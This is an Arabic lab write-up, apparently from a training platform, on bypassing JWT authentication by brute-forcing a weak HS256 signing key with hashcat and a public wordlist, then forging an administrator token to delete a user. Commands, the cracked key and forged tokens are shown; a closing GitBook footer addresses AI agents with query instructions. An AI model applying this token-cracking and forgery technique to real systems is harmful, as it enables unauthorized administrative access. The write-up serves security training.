> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/jwt/jwt-authentication-bypass-with-a-weak-key.md).

# تجاوز مصادقة JWT باستخدام مفتاح ضعيف

### تجاوز مصادقة JWT عبر مفتاح توقيع ضعيف

**وصف المختبر**

يستخدم هذا المختبر آلية جلسة قائمة على JWT. / المفتاح السري المستخدم لـ **توقيع الرموز والتحقق منها ضعيف للغاية**، مما يسمح بـ **تخمينه بسهولة** باستخدام قائمة من الأسرار الشائعة.

الهدف:

* اعثر على المفتاح السري المستخدم من قبل الخادم. \*قم بتزوير JWT صالح باستخدام هذا المفتاح للوصول إلى الـ `/admin` لوحة الإدارة.
* حذف المستخدم **carlos**.

بيانات الاعتماد المقدمة:/ `wiener:peter`

\*\*تم استرجاع JWT الأولي\*\*

{% code overflow="wrap" %}

```bash
eyJraWQiOiIzY2YwN2U1OC03N2RkLTQ5MjItYThiMi03MDJjZTdlNWI2ZTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMzIxMywic3ViIjoid2llbmVyIn0.kjImRYXxwKADFnrNT6GRsF3eHmD5IDqvTwpLBuHaKv4
```

{% endcode %}

يُلاحظ أن الخوارزمية المستخدمة هي **HS256**، وبالتالي فهو **خوارزمية متماثلة** تعتمد على سر مشترك.

**تخمين المفتاح السري بالقوة الغاشمة**

نستخدم قائمة من أسرار JWT الشائعة:

```bash
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list
```

ثم ابدأ الهجوم بالقوة الغاشمة باستخدام **hashcat**:

```bash
hashcat -a 0 jwt jwt.secrets.list
```

<figure><img src="/files/777030b1bea44228c67d41549675a5abbadb1a70" alt=""><figcaption></figcaption></figure>

النتيجة:

* تم العثور على المفتاح السري: **`secret1`**

<figure><img src="/files/0e67f6d9c2a33eaf7c9a71a9d04f5506543e7746" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b97c65c70aff159c05765e704b622dd9fc7cf6d3" alt=""><figcaption></figcaption></figure>

**إعداد المفتاح للتوقيع**

الـ **محرر JWT** تتوقع الإضافة المفتاح بتنسيق Base64.

ترميز المفتاح:

```bash
c2VjcmV0MQ==
```

<figure><img src="/files/83ab15ab5cfcd746932849aa41fc622456cdf412" alt=""><figcaption></figcaption></figure>

إنشاء مفتاح متماثل في محرر JWT:

```json
{
    "kty": "oct",
    "kid": "caa550f1-7d46-472b-a09f-8fa958937e48",
    "k": "c2VjcmV0MQ=="
}
```

<figure><img src="/files/e9ed34ce22c1d8ac598d36845da1ba23b3330390" alt=""><figcaption></figcaption></figure>

يتم بعد ذلك إنشاء معرّف مفتاح (`kid`) ثم يُستخدم لتوقيع الرمز.

<figure><img src="/files/cc42b30f9884ed9b4365521c3325beaf671bf884" alt=""><figcaption></figcaption></figure>

**تعديل JWT**

* اعتراض الطلب الذي يحتوي على JWT.
* غيّر `sub` الحقل:
* `wiener` → `administrator`

<figure><img src="/files/781d66369f43a68b6ddea893e2ecde2ce6b1cb20" alt=""><figcaption></figcaption></figure>

إعادة توقيع الرمز باستخدام المفتاح السري الذي تم العثور عليه

<figure><img src="/files/76b9e5bfa8570f72f2aa5866e8fd6349e34fa1d7" alt=""><figcaption></figcaption></figure>

JWT المزور النهائي:

```bash
eyJraWQiOiI5MTVjNmE0Yy1iNzA3LTRmMmYtOTU3Ny05ODdhNWNhMzM1YjYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzNDY3MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.8VSJ5AinItZtayGFFfgsGidQuEIcxlzY6clVk1moITQ
```

**النتيجة**

* يقبل الخادم JWT الموقّع بالمفتاح الضعيف.
* تم الوصول بنجاح إلى `/admin` اللوحة.
* يتم التعرف على المستخدم على أنه \*\*مسؤول\*\*.
* يتم التحقق من صحة المختبر بعد إزالة المستخدم **carlos**.

<figure><img src="/files/dc07e6ce26e0aaed6d8132b8d27fecfb31338eff" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/jwt/jwt-authentication-bypass-with-a-weak-key.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
